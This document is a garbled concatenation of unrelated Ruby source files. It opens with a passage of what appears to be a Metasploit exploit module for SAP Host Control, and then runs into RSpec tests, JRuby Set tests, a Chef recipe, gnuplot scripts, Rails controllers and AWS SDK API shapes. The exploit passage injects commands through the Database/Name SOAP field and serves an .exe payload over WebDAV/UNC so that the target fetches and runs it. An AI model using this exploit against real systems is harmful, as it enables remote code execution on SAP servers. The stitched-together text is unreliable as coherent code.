version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else vprint_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end vprint_status "PROPFIND => 207 Directory (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else vprint_status "PROPFIND => 207 Top-Level Directory" end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = @share_name %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 base = @basename exts = @extensions.gsub(",", " ").split(/\s+/) files = "" exts.each do |ext| files << %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{base}.#{ext}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> <D:ishidden b:dt="boolean">1</D:ishidden> </D:propstat> </D:response> | end files end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) share_path = "/#{@share_name}" payload_path = "#{share_path}/#{@basename}.exe" case uri when payload_path return false when share_path return false else return true end end def check @peer = "#{rhost}:#{rport}" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)} !#{rand_text_alpha_lower(8)} </mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Testing command injection...") res = send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 10) if (res and res.code == 500 and res.body =~ /Generic error/) return CheckCode::Appears else return CheckCode::Safe end end def exploit @basename = rand_text_alpha(3) @share_name = rand_text_alpha(3) @extensions = "exe" @system_commands_file = rand_text_alpha_lower(4) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe") @peer = "#{rhost}:#{rport}" soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)} !#{@exploit_unc}#{@share_name}\\#{@basename}.exe </mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Injecting system commands...") res = send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 10) if (res and res.code == 500 and res.body =~ /Generic error/) print_good("#{@peer} - System command successfully injected") else print_error("#{@peer} - Failed to inject system command") return end soap = <<-eos <?xml version="1.0" encoding="utf-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'> <aArguments> <item> <mKey>Database/Type</mKey> <mValue>ada</mValue> </item> <item> <mKey>Database/Password</mKey> <mValue>#{rand_text_alphanumeric(8)}</mValue> </item> <item> <mKey>Database/Username</mKey> <mValue>control</mValue> </item> <item> <mKey>Database/Name</mKey> <mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue> </item> </aArguments> </ns1:GetDatabaseStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope> eos print_status("#{@peer} - Executing injected command") res = send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'SOAPAction' => "\"\"", }, 'data' => soap, }, 1) if res print_error("#{@peer} - Failed to execute injected command") return end super end end
29.945693
176
0.603527
e994334752224ef561679818735ff20662de1de9
1,821
# frozen_string_literal: true require 'spec_helper' RSpec.describe 'User searches for issues', :js do let(:user) { create(:user) } let(:project) { create(:project, namespace: user.namespace) } let!(:issue1) { create(:issue, title: 'Foo', project: project) } let!(:issue2) { create(:issue, title: 'Bar', project: project) } context 'when signed in' do before do project.add_maintainer(user) sign_in(user) visit(search_path) end include_examples 'top right search form' it 'finds an issue' do fill_in('dashboard_search', with: issue1.title) find('.btn-search').click select_search_scope('Issues') page.within('.results') do expect(page).to have_link(issue1.title) expect(page).not_to have_link(issue2.title) end end context 'when on a project page' do it 'finds an issue' do find('.js-search-project-dropdown').click page.within('.project-filter') do click_link(project.full_name) end fill_in('dashboard_search', with: issue1.title) find('.btn-search').click select_search_scope('Issues') page.within('.results') do expect(page).to have_link(issue1.title) expect(page).not_to have_link(issue2.title) end end end end context 'when signed out' do let(:project) { create(:project, :public) } before do visit(search_path) end include_examples 'top right search form' it 'finds an issue' do fill_in('dashboard_search', with: issue1.title) find('.btn-search').click select_search_scope('Issues') page.within('.results') do expect(page).to have_link(issue1.title) expect(page).not_to have_link(issue2.title) end end end end
24.945205
66
0.632619
acd11fa8e92d55a120315c6633743fbbc8e09e91
3,655
require 'test/unit' require 'set.rb' # JRuby's Set impl specific or low-level details. class TestSet < Test::Unit::TestCase class SubSet < Set ; end class SubSortedSet < SortedSet ; end def test_sub_set set = SubSet.new assert_same SubSet, set.class assert set.is_a?(SubSet) assert set.is_a?(Set) assert hash = set.instance_variable_get(:@hash) assert hash.is_a?(Hash) assert_equal Hash.new, hash assert_equal '#<TestSet::SubSet: {}>', set.inspect assert_false Set.new.equal?(SubSet.new) assert_true Set.new.eql?(SubSet.new) assert_true ( SubSet.new == Set.new ) assert_false SortedSet.new.equal?(SubSortedSet.new) assert_true SortedSet.new.eql?(SubSortedSet.new) assert_true ( SubSortedSet.new == Set.new ) assert_true ( SubSortedSet.new == SortedSet.new ) assert_true ( SortedSet.new == SubSortedSet.new ) end def test_allocate set = Set.allocate assert_same Set, set.class assert_nil set.instance_variable_get(:@hash) # same on MRI # set not really usable : begin set << 1 ; fail 'set << 1 did not fail!' rescue # NoMethodError # JRuby: NPE # NoMethodError: undefined method `[]=' for nil:NilClass # from /opt/local/rvm/rubies/ruby-2.3.3/lib/ruby/2.3.0/set.rb:313:in `add' end end def test_marshal_dump assert_equal "\x04\b{\x00".force_encoding('ASCII-8BIT'), Marshal.dump(Hash.new) # MRI internally uses a @hash with a default: `Hash.new(false)' empty_set = "\x04\bo:\bSet\x06:\n@hash}\x00F".force_encoding('ASCII-8BIT') assert_equal empty_set, Marshal.dump(Set.new) dump = Marshal.dump(Set.new) assert_equal Set.new, Marshal.load(dump) set = Marshal.load Marshal.dump(Set.new([1, 2])) assert_same Set, set.class assert_equal Set.new([1, 2]), set set << 3 assert_equal 3, set.size set = Marshal.load Marshal.dump(Set.new([1, 2]).dup) assert_same Set, set.class assert_equal Set.new([1, 2]), set end def test_sorted_marshal_dump dump = Marshal.dump(SortedSet.new) assert_equal SortedSet.new, Marshal.load(dump) set = Marshal.load Marshal.dump(SortedSet.new([2, 1])) assert_same SortedSet, set.class assert_equal SortedSet.new([1, 2]), set assert_equal [1, 2], set.sort set << 3 assert_equal 3, set.size assert_equal [1, 2, 3], set.sort set = Marshal.load Marshal.dump(SortedSet.new([2, 1]).dup) assert_same SortedSet, set.class assert_equal SortedSet.new([1, 2]), set assert_equal [1, 2], set.to_a set = Marshal.load Marshal.dump(SortedSet.new([2, 3, 1])) each = []; set.each { |e| each << e } assert_equal [1, 2, 3], each end def test_dup set = Set.new [1, 2] assert_same Set, set.dup.class assert_equal set, set.dup dup = set.dup set << 3 assert_equal 3, set.size assert_equal 2, dup.size set = SortedSet.new [1, 2] assert_same SortedSet, set.dup.class assert_equal set, set.dup dup = set.dup set << 0 assert_equal 3, set.size assert_equal 2, dup.size end def test_to_java assert set = Set.new.to_java assert set.toString.start_with?('#<Set:0x') assert_equal org.jruby.ext.set.RubySet, set.class assert set.is_a?(java.util.Set) assert_equal java.util.HashSet.new, set assert set = SortedSet.new([2, 1]).to_java assert set.toString.start_with?('#<SortedSet:0x') assert_equal org.jruby.ext.set.RubySortedSet, set.class assert set.is_a?(java.util.Set) assert set.is_a?(java.util.SortedSet) assert_equal java.util.TreeSet.new([1, 2]), set end if defined? JRUBY_VERSION end
29.959016
83
0.670315
f8124072979a5a68a408ef103b44aa9bca95f557
695
class Orca::TriggerRunner def initialize(node, action_ref_with_args) @node = node @action_ref, @args = *parse_action_ref(action_ref_with_args) @log = Orca::Logger.new(@node, @action_ref) end def execute(_) Orca::ExecutionContext.new(@node, @log).trigger(@action_ref, *@args) end def demonstrate(_) Orca::MockExecutionContext.new(@node, @log).trigger(@action_ref, *@args) end private def parse_action_ref(action_ref_with_args) matches = action_ref_with_args.match(/([\w\:]+?)(\[([\w\,]+?)\])/) return [action_ref_with_args,[]] unless matches action_ref = matches[1] args = matches[3].split(',').map(&:strip) [action_ref, args] end end
27.8
76
0.676259
018c814f8864f2e0bc9e31b8eb1b8f83b2acc7cf
413
include_cookbook 'repository' execute 'build benchmarker' do command <<-EOS RELEASE=1 /home/isucon/.x make build -B sudo install -m 755 ./bin/benchmarker /home/isucon/bin/benchmarker EOS user 'isuadmin' cwd "#{node[:isucon11_repository]}/benchmarker" not_if "test -x /home/isucon/bin/benchmarker && test $(/home/isucon/bin/benchmarker -version) = $(cat #{node[:isucon11_repository]}/REVISION)" end
34.416667
144
0.731235
f886a3e12251b965ee0c442e81d3beb2ed577b0b
4,116
# # vector fields # http://gnuplot.sourceforge.net/demo_4.6/vector.html require_relative "gpl" # # This file demonstrates # # -1- saving contour lines as a gnuplottable file # # -2- plotting a vector field on the same graph # # -3- manipulating columns using the '$1,$2' syntax. # # the example is taken here from Physics is the display of equipotential # # lines and electrostatic field for a dipole (+q,-q) # # print "\n This file demonstrates" # print " -1- saving contour lines as a gnuplottable file" # print " -2- plotting a vector field on the same graph" # print " -3- manipulating columns using the '$1,$2' syntax." # print " the example is taken here from Physics is the display of equipotential" # print " lines and electrostatic field for a dipole (+q,-q)" # # # r(x,y)=sqrt(x*x+y*y) # v1(x,y)= q1/(r((x-x0),y)) # v2(x,y)= q2/(r((x+x0),y)) # # # vtot(x,y)=v1(x,y)+v2(x,y) # # # e1x(x,y)= q1*(x-x0)/r(x-x0,y)**3 # e1y(x,y)= q1*(y)/r(x-x0,y)**3 # e2x(x,y)= q2*(x+x0)/r(x+x0,y)**3 # e2y(x,y)= q2*(y)/r(x+x0,y)**3 # etotx(x,y)=e1x(x,y)+e2x(x,y) # etoty(x,y)=e1y(x,y)+e2y(x,y) # enorm(x,y)=sqrt(etotx(x,y)*etotx(x,y)+etoty(x,y)*etoty(x,y)) # dx1(x,y)=coef*etotx(x,y)/enorm(x,y) # dy1(x,y)=coef*etoty(x,y)/enorm(x,y) # dx2(x,y)=coef*etotx(x,y) # dy2(x,y)=coef*etoty(x,y) # # # coef=.7 # x0=1. # q1=1 # q2=-1 # xmin=-10. # xmax=10. # ymin=-10. # ymax=10. # # # reset # unset autoscale # set xr [xmin:xmax] # set yr [ymin:ymax] # set isosam 31,31 # #set view 0, 0, 1, 1 # set view map # unset surface # set contour base # set cntrparam order 4 # set cntrparam linear # set cntrparam levels discrete -3,-2 ,-1 ,-0.5 ,-0.2 ,-0.1 ,-0.05 ,-0.02 ,0 ,0.02 ,0.05 ,0.1 ,0.2 ,0.5 ,1 ,2 ,3 # set cntrparam points 5 # # # set label "-q" at -1,0 center # set label "+q" at 1,0 center # splot vtot(x,y) w l gpl do run "r(x,y)=sqrt(x*x+y*y)" run "v1(x,y)= q1/(r((x-x0),y))" run "v2(x,y)= q2/(r((x+x0),y))" run "vtot(x,y)=v1(x,y)+v2(x,y)" run "e1x(x,y)= q1*(x-x0)/r(x-x0,y)**3" run "e1y(x,y)= q1*(y)/r(x-x0,y)**3" run "e2x(x,y)= q2*(x+x0)/r(x+x0,y)**3" run "e2y(x,y)= q2*(y)/r(x+x0,y)**3" run "etotx(x,y)=e1x(x,y)+e2x(x,y)" run "etoty(x,y)=e1y(x,y)+e2y(x,y)" run "enorm(x,y)=sqrt(etotx(x,y)*etotx(x,y)+etoty(x,y)*etoty(x,y))" run "dx1(x,y)=coef*etotx(x,y)/enorm(x,y)" run "dy1(x,y)=coef*etoty(x,y)/enorm(x,y)" run "dx2(x,y)=coef*etotx(x,y)" run "dy2(x,y)=coef*etoty(x,y)" run "coef=.7" run "x0=1." run "q1=1" run "q2=-1" run "xmin=-10." run "xmax=10." run "ymin=-10." run "ymax=10." reset unset :autoscale set xr:"[xmin:xmax]" set yr:"[ymin:ymax]" set isosam:[31,31] set view:'map' unset :surface set contour:"base" set :cntrparam, order:4 set :cntrparam, "linear" set :cntrparam, :levels, discrete:[-3,-2,-1,-0.5,-0.2,-0.1,-0.05,-0.02,0,0.02,0.05,0.1,0.2,0.5,1,2,3] set :cntrparam, points:5 set label:"-q", at:[-1,0], center:true set label:"+q", at:[1,0], center:true splot "vtot(x,y)", w:"l" end # print "Now create a file with equipotential lines" # # set table "equipo2.tmp" # replot # unset table # reset # # plot "equipo2.tmp" w l gpl do set table:"equipo2.tmp" replot unset :table reset plot "\"equipo2.tmp\"", w:"l" end # print "Now create a x/y datafile for plotting with vectors " # print "and display vectors parallel to the electrostatic field" # set isosam 31,31 # # set table "field2xy.tmp" # splot vtot(x,y) w l # unset table # # unset autoscale # set xr [xmin:xmax] # set yr [ymin:ymax] # set isosam 31,31 # set key under Left reverse # plot "field2xy.tmp" u 1:2:(coef*dx1($1,$2)):(coef*dy1($1,$2)) w vec, \ # "equipo2.tmp" w l gpl do set isosam:[31,31] set table:"field2xy.tmp" splot "vtot(x,y)", w:"l" unset :table unset :autoscale set xr:"[xmin:xmax]" set yr:"[ymin:ymax]" set isosam:[31,31] set :key, "under", :Left, :reverse plot ["\"field2xy.tmp\"", u:'1:2:(coef*dx1($1,$2)):(coef*dy1($1,$2))', w:"vec"], ["\"equipo2.tmp\"", w:"l"] end
26.901961
113
0.580418
1aa1fb568a9ac8d97a6b91a88749329d31754ed3
152
# frozen_string_literal: true class AddTemplateToDecks < ActiveRecord::Migration[5.0] def change add_column :decks, :template, :string end end
19
55
0.756579
bf113a28883909d6fdef05304840f3a28da8df3d
395
class HomeController < ApplicationController def index end def menu @food_items = FoodItem.all @sections = %w(Breakfast Lunch Dinner Drinks) @food_items = FoodItem.filter_by_section(params[:section]).order("#{params[:sort_param]} ") if params[:search] @food_items = FoodItem.search(params[:search]) end end def contact_us end def about_us end end
17.954545
95
0.688608
bb44c44a0511074807e6ce396653438b57aa9c7f
523
require 'spec_helper' describe MB::Mixin::CodedExit do subject do Class.new do include MB::Mixin::CodedExit end.new end describe "#exit_with" do let(:constant) { MB::MBError } it "exits with the status code for the given constant" do expect { subject.exit_with(constant) }.to exit_with(constant) end end describe "#exit_code_for" do it "returns the exit status for the given constant" do subject.exit_code_for("MBError").should eql(1) end end end
20.115385
61
0.661568
b970423c44541badc9dff8dbbf0a8f0e86b21901
552
module AblyUi module Core class Icon < ViewComponent::Base attr_reader :name attr_reader :size attr_reader :color attr_reader :additional_css attr_reader :additional_attributes def initialize( name:, size: '0.75rem', color: '', additional_css: '', **additional_attributes ) @name = name @size = size @color = color @additional_css = additional_css @additional_attributes = additional_attributes end end end end
21.230769
54
0.59058
03eda880afa67a2123f5ff5d27e44b82c8371e77
1,165
require 'oai_repository' require 'rif-cs' class Instrument < ActiveRecord::Base include Rails.application.routes.url_helpers include RIFCS::Service attr_accessible :key, :name, :description def sets @oai_sets = [ OAI::Set.new({:name => 'Services', :spec => 'class:service'}), OAI::Set.new({:name => 'Intersect Australia Ltd', :spec => 'group:Intersect Australia Ltd'}) ] if Instrument.find(id).name =~ /multimeter/ @oai_sets + [ OAI::Set.new({:name => 'Meters', :spec => 'meters'}) ] end @oai_sets end def oai_dc_identifier instrument_url(id) end def oai_dc_title name end def oai_dc_description description end def oai_dc_publisher 'Intersect' end def service_key key end def service_group 'Intersect' end def service_originating_source 'http://www.intersect.org.au' end def service_date_modified updated_at end def service_type 'create' end def service_descriptions [ { type: 'deliverymethod', value: 'offline' }, { type: 'full', value: description } ] end end
16.408451
98
0.624034
62ac5d827f95ab314e819e1928bb4a383f4b7fc1
333
Rails.application.routes.draw do resources :items, except: [:new, :edit] resources :examples, except: [:new, :edit] post '/sign-up' => 'users#signup' post '/sign-in' => 'users#signin' delete '/sign-out/:id' => 'users#signout' patch '/change-password/:id' => 'users#changepw' resources :users, only: [:index, :show] end
33.3
50
0.654655
ac67976d210ddb25b54fedf28f5a3e615c179f6b
4,720
class Products::QhpController < ApplicationController include ContentType include Aptc include Acapi::Notifiers extend Acapi::Notifiers before_action :set_current_person, only: [:comparison, :summary] before_action :set_kind_for_market_and_coverage, only: [:comparison, :summary] def comparison params.permit("standard_component_ids", :hbx_enrollment_id) found_params = params["standard_component_ids"].map { |str| str[0..13] } @standard_component_ids = params[:standard_component_ids] @hbx_enrollment_id = params[:hbx_enrollment_id] @active_year = params[:active_year] if (@market_kind == 'aca_shop' || @market_kind == 'fehb') && (@coverage_kind == 'health' || @coverage_kind == "dental") # 2016 plans have shop dental plans too. sponsored_cost_calculator = HbxEnrollmentSponsoredCostCalculator.new(@hbx_enrollment) effective_on = @hbx_enrollment.sponsored_benefit_package.start_on products = @hbx_enrollment.sponsored_benefit.products(effective_on) @member_groups = sponsored_cost_calculator.groups_for_products(products) employee_cost_hash = {} @member_groups.each do |member_group| employee_cost_hash[member_group.group_enrollment.product.hios_id] = (member_group.group_enrollment.product_cost_total.to_f - member_group.group_enrollment.sponsor_contribution_total.to_f).round(2) end @qhps = find_qhp_cost_share_variances.each do |qhp| qhp[:total_employee_cost] = employee_cost_hash[qhp.product_for(@market_kind).hios_id] end else tax_household = get_shopping_tax_household_from_person(current_user.person, @hbx_enrollment.effective_on.year) @plans = @hbx_enrollment.decorated_elected_plans(@coverage_kind, 'individual') @qhps = find_qhp_cost_share_variances @qhps = @qhps.each do |qhp| qhp.hios_plan_and_variant_id = qhp.hios_plan_and_variant_id[0..13] if @coverage_kind == "dental" qhp[:total_employee_cost] = UnassistedPlanCostDecorator.new(qhp.product, @hbx_enrollment, session[:elected_aptc], tax_household).total_employee_cost end end respond_to do |format| format.html format.js format.csv do send_data(Products::Qhp.csv_for(@qhps, @visit_types), type: csv_content_type, filename: "comparsion_plans.csv") end end end def summary @standard_component_ids = [] << @new_params[:standard_component_id] @active_year = params[:active_year] @qhp = find_qhp_cost_share_variances.first @source = params[:source] @qhp.hios_plan_and_variant_id = @qhp.hios_plan_and_variant_id[0..13] if @coverage_kind == "dental" if @hbx_enrollment.is_shop? sponsored_cost_calculator = HbxEnrollmentSponsoredCostCalculator.new(@hbx_enrollment) @member_group = sponsored_cost_calculator.groups_for_products([@qhp.product_for(@market_kind)]).first else @hbx_enrollment.reset_dates_on_previously_covered_members(@qhp.product) @member_group = @hbx_enrollment.build_plan_premium(qhp_plan: @qhp.product) end respond_to do |format| format.html format.js end end private def set_kind_for_market_and_coverage @new_params = params.permit(:standard_component_id, :hbx_enrollment_id) hbx_enrollment_id = @new_params[:hbx_enrollment_id] @hbx_enrollment = HbxEnrollment.find(hbx_enrollment_id) if @hbx_enrollment.blank? error_message = { :error => { :message => "qhp_controller: HbxEnrollment missing: #{hbx_enrollment_id} for person #{@person && @person.try(:id)}", }, } log(JSON.dump(error_message), {:severity => 'critical'}) render file: 'public/500.html', status: 500 return end @enrollment_kind = (params[:enrollment_kind] == "sep" || @hbx_enrollment.enrollment_kind == "special_enrollment") ? "sep" : '' @market_kind = if params[:market_kind] == "fehb" "fehb" elsif params[:market_kind] == "shop" || @hbx_enrollment.is_shop? "aca_shop" else "aca_individual" end @coverage_kind = if @hbx_enrollment.product.present? @hbx_enrollment.product.kind.to_s else (params[:coverage_kind].present? ? params[:coverage_kind] : @hbx_enrollment.coverage_kind) end @change_plan = params[:change_plan].present? ? params[:change_plan] : '' @visit_types = @coverage_kind == "health" ? Products::Qhp::VISIT_TYPES : Products::Qhp::DENTAL_VISIT_TYPES end def find_qhp_cost_share_variances Products::QhpCostShareVariance.find_qhp_cost_share_variances(@standard_component_ids, @active_year.to_i, @coverage_kind) end end
42.142857
204
0.714407
7a849a3de477b746149bf8fa6d38af1729593347
183,884
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE module Aws::AlexaForBusiness # @api private module ClientApi include Seahorse::Model Address = Shapes::StringShape.new(name: 'Address') AddressBook = Shapes::StructureShape.new(name: 'AddressBook') AddressBookData = Shapes::StructureShape.new(name: 'AddressBookData') AddressBookDataList = Shapes::ListShape.new(name: 'AddressBookDataList') AddressBookDescription = Shapes::StringShape.new(name: 'AddressBookDescription') AddressBookName = Shapes::StringShape.new(name: 'AddressBookName') AlreadyExistsException = Shapes::StructureShape.new(name: 'AlreadyExistsException') AmazonId = Shapes::StringShape.new(name: 'AmazonId') ApplianceDescription = Shapes::StringShape.new(name: 'ApplianceDescription') ApplianceFriendlyName = Shapes::StringShape.new(name: 'ApplianceFriendlyName') ApplianceManufacturerName = Shapes::StringShape.new(name: 'ApplianceManufacturerName') ApproveSkillRequest = Shapes::StructureShape.new(name: 'ApproveSkillRequest') ApproveSkillResponse = Shapes::StructureShape.new(name: 'ApproveSkillResponse') Arn = Shapes::StringShape.new(name: 'Arn') AssociateContactWithAddressBookRequest = Shapes::StructureShape.new(name: 'AssociateContactWithAddressBookRequest') AssociateContactWithAddressBookResponse = Shapes::StructureShape.new(name: 'AssociateContactWithAddressBookResponse') AssociateDeviceWithNetworkProfileRequest = Shapes::StructureShape.new(name: 'AssociateDeviceWithNetworkProfileRequest') AssociateDeviceWithNetworkProfileResponse = Shapes::StructureShape.new(name: 'AssociateDeviceWithNetworkProfileResponse') AssociateDeviceWithRoomRequest = Shapes::StructureShape.new(name: 'AssociateDeviceWithRoomRequest') AssociateDeviceWithRoomResponse = Shapes::StructureShape.new(name: 'AssociateDeviceWithRoomResponse') AssociateSkillGroupWithRoomRequest = Shapes::StructureShape.new(name: 'AssociateSkillGroupWithRoomRequest') AssociateSkillGroupWithRoomResponse = Shapes::StructureShape.new(name: 'AssociateSkillGroupWithRoomResponse') AssociateSkillWithSkillGroupRequest = Shapes::StructureShape.new(name: 'AssociateSkillWithSkillGroupRequest') AssociateSkillWithSkillGroupResponse = Shapes::StructureShape.new(name: 'AssociateSkillWithSkillGroupResponse') AssociateSkillWithUsersRequest = Shapes::StructureShape.new(name: 'AssociateSkillWithUsersRequest') AssociateSkillWithUsersResponse = Shapes::StructureShape.new(name: 'AssociateSkillWithUsersResponse') Audio = Shapes::StructureShape.new(name: 'Audio') AudioList = Shapes::ListShape.new(name: 'AudioList') AudioLocation = Shapes::StringShape.new(name: 'AudioLocation') AuthorizationResult = Shapes::MapShape.new(name: 'AuthorizationResult') Boolean = Shapes::BooleanShape.new(name: 'Boolean') BulletPoint = Shapes::StringShape.new(name: 'BulletPoint') BulletPoints = Shapes::ListShape.new(name: 'BulletPoints') BusinessReport = Shapes::StructureShape.new(name: 'BusinessReport') BusinessReportContentRange = Shapes::StructureShape.new(name: 'BusinessReportContentRange') BusinessReportDeliveryTime = Shapes::TimestampShape.new(name: 'BusinessReportDeliveryTime') BusinessReportDownloadUrl = Shapes::StringShape.new(name: 'BusinessReportDownloadUrl') BusinessReportFailureCode = Shapes::StringShape.new(name: 'BusinessReportFailureCode') BusinessReportFormat = Shapes::StringShape.new(name: 'BusinessReportFormat') BusinessReportInterval = Shapes::StringShape.new(name: 'BusinessReportInterval') BusinessReportRecurrence = Shapes::StructureShape.new(name: 'BusinessReportRecurrence') 